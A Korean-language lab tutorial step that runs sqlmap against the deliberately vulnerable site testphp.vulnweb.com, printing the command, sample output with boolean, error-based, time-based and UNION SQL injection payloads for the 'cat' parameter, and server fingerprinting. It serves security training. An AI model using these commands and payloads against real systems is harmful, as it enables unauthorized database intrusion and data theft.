SQL 인젝션 취약점 탐지
sqlmap이 설치되었으므로 이제 웹 애플리케이션의 SQL 인젝션 취약점 테스트를 시작할 수 있습니다. 이 실습에서는 보안 테스트를 위해 의도적으로 취약하게 설계되어 공개된 웹사이트를 사용합니다. 모든 SQL 인젝션 공격의 첫 번째 단계는 취약한 파라미터를 식별하는 것입니다.
이번 실습의 대상 URL 은 http://testphp.vulnweb.com/listproducts.php?cat=1입니다. 여기서 cat=1 파라미터는 잠재적인 인젝션 진입점입니다. sqlmap을 사용하여 이 파라미터를 자동으로 테스트해 보겠습니다.
다음 명령어를 실행하여 테스트를 시작합니다. -u 플래그는 대상 URL 을 지정합니다. --batch 플래그를 사용하면 sqlmap이 대화형 질문에 기본값으로 응답하며 실행되므로 프로세스가 더 빠르고 간편해집니다.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap은 해당 URL 에 대해 일련의 테스트를 수행합니다. 응답을 분석하여 cat 파라미터가 인젝션 가능한지 판단합니다. 다양한 SQL 인젝션 기법을 시도하므로 이 과정은 1~2 분 정도 소요될 수 있습니다.
스캔이 완료되면 출력 내용을 검토합니다. 취약점을 확인하는 섹션을 찾을 수 있을 것입니다.
예상 출력 결과 (일부 생략):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
출력 결과는 cat 파라미터가 여러 유형의 SQL 인젝션 공격에 취약함을 확인해 줍니다.
- Boolean-based blind: 참/거짓 논리를 사용하여 데이터를 추출합니다.
- Error-based: 데이터베이스 오류 메시지를 악용하여 정보를 노출시킵니다.
- Time-based blind: 응답 지연 시간을 이용하여 인젝션 여부를 확인합니다.
- UNION query: 여러 SELECT 문의 결과를 결합합니다.
또한 스캔을 통해 백엔드 데이터베이스가 Nginx 와 PHP 를 사용하는 Linux Ubuntu 시스템에서 실행되는 MySQL 5.6 이상 버전임을 식별했습니다. 이러한 상세한 핑거프린팅 정보는 다음 공격 단계를 진행하는 데 중요한 지침이 됩니다.